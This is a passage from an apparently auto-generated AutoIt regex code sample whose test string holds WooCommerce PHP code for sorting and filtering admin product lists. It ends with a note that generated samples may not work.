'order_by_price_desc_post_clauses' ) );" & @CRLF & _ " remove_filter( 'posts_clauses', array( $this, 'order_by_sku_asc_post_clauses' ) );" & @CRLF & _ " remove_filter( 'posts_clauses', array( $this, 'order_by_sku_desc_post_clauses' ) );" & @CRLF & _ " remove_filter( 'posts_clauses', array( $this, 'filter_downloadable_post_clauses' ) );" & @CRLF & _ " remove_filter( 'posts_clauses', array( $this, 'filter_virtual_post_clauses' ) );" & @CRLF & _ " remove_filter( 'posts_clauses', array( $this, 'filter_stock_status_post_clauses' ) );" & @CRLF & _ " return $posts; // Keeping this here for backward compatibility." & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Handle numeric price sorting." & @CRLF & _ " *" & @CRLF & _ " * @param array $args Query args." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function order_by_price_asc_post_clauses( $args ) {" & @CRLF & _ " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );" & @CRLF & _ " $args['orderby'] = ' wc_product_meta_lookup.min_price ASC, wc_product_meta_lookup.product_id ASC ';" & @CRLF & _ " return $args;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Handle numeric price sorting." & @CRLF & _ " *" & @CRLF & _ " * @param array $args Query args." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function order_by_price_desc_post_clauses( $args ) {" & @CRLF & _ " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );" & @CRLF & _ " $args['orderby'] = ' wc_product_meta_lookup.max_price DESC, wc_product_meta_lookup.product_id DESC ';" & @CRLF & _ " return $args;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Handle sku sorting." & @CRLF & _ " *" & @CRLF & _ " * @param array $args Query args." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function order_by_sku_asc_post_clauses( $args ) {" & @CRLF & _ " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );" & @CRLF & _ " $args['orderby'] = ' wc_product_meta_lookup.sku ASC, wc_product_meta_lookup.product_id ASC ';" & @CRLF & _ " return $args;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Handle sku sorting." & @CRLF & _ " *" & @CRLF & _ " * @param array $args Query args." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function order_by_sku_desc_post_clauses( $args ) {" & @CRLF & _ " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );" & @CRLF & _ " $args['orderby'] = ' wc_product_meta_lookup.sku DESC, wc_product_meta_lookup.product_id DESC ';" & @CRLF & _ " return $args;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Filter by type." & @CRLF & _ " *" & @CRLF & _ " * @param array $args Query args." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function filter_downloadable_post_clauses( $args ) {" & @CRLF & _ " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );" & @CRLF & _ " $args['where'] .= ' AND wc_product_meta_lookup.downloadable=1 ';" & @CRLF & _ " return $args;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Filter by type." & @CRLF & _ " *" & @CRLF & _ " * @param array $args Query args." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function filter_virtual_post_clauses( $args ) {" & @CRLF & _ " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );" & @CRLF & _ " $args['where'] .= ' AND wc_product_meta_lookup.virtual=1 ';" & @CRLF & _ " return $args;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Filter by stock status." & @CRLF & _ " *" & @CRLF & _ " * @param array $args Query args." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function filter_stock_status_post_clauses( $args ) {" & @CRLF & _ " global $wpdb;" & @CRLF & _ " if ( ! empty( $_GET['stock_status'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended" & @CRLF & _ " $args['join'] = $this->append_product_sorting_table_join( $args['join'] );" & @CRLF & _ " $args['where'] .= $wpdb->prepare( ' AND wc_product_meta_lookup.stock_status=%s ', wc_clean( wp_unslash( $_GET['stock_status'] ) ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended" & @CRLF & _ " }" & @CRLF & _ " return $args;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Join wc_product_meta_lookup to posts if not already joined." & @CRLF & _ " *" & @CRLF & _ " * @param string $sql SQL join." & @CRLF & _ " * @return string" & @CRLF & _ " */" & @CRLF & _ " private function append_product_sorting_table_join( $sql ) {" & @CRLF & _ " global $wpdb;" & @CRLF & _ "" & @CRLF & _ " if ( ! strstr( $sql, 'wc_product_meta_lookup' ) ) {" & @CRLF & _ " $sql .= " LEFT JOIN {$wpdb->wc_product_meta_lookup} wc_product_meta_lookup ON $wpdb->posts.ID = wc_product_meta_lookup.product_id ";" & @CRLF & _ " }" & @CRLF & _ " return $sql;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Modifies post query so that it includes parent products whose variations have particular shipping class assigned." & @CRLF & _ " *" & @CRLF & _ " * @param array $pieces Array of SELECT statement pieces (from, where, etc)." & @CRLF & _ " * @param WP_Query $wp_query WP_Query instance." & @CRLF & _ " * @return array Array of products, including parents of variations." & @CRLF & _ " */" & @CRLF & _ " public function add_variation_parents_for_shipping_class( $pieces, $wp_query ) {" & @CRLF & _ " global $wpdb;" & @CRLF & _ " if ( isset( $_GET['product_shipping_class'] ) && '0' !== $_GET['product_shipping_class'] ) { // WPCS: input var ok." & @CRLF & _ " $replaced_where = str_replace( ".post_type = 'product'", ".post_type = 'product_variation'", $pieces['where'] );" & @CRLF & _ " $pieces['where'] .= " OR {$wpdb->posts}.ID in (" & @CRLF & _ " SELECT {$wpdb->posts}.post_parent FROM" & @CRLF & _ " {$wpdb->posts} LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id)" & @CRLF & _ " WHERE 1=1 $replaced_where" & @CRLF & _ " )";" & @CRLF & _ " return $pieces;" & @CRLF & _ " }" & @CRLF & _ " return $pieces;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ "}" & @CRLF & _ "" Local $aArray = StringRegExp($sString, $sRegex, $STR_REGEXPARRAYGLOBALFULLMATCH) Local $aFullArray[0] For $i = 0 To UBound($aArray) -1 _ArrayConcatenate($aFullArray, $aArray[$i]) Next $aArray = $aFullArray ; Present the entire match result _ArrayDisplay($aArray, "Result")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for AutoIt, please visit: https://www.autoitscript.com/autoit3/docs/functions/StringRegExp.htm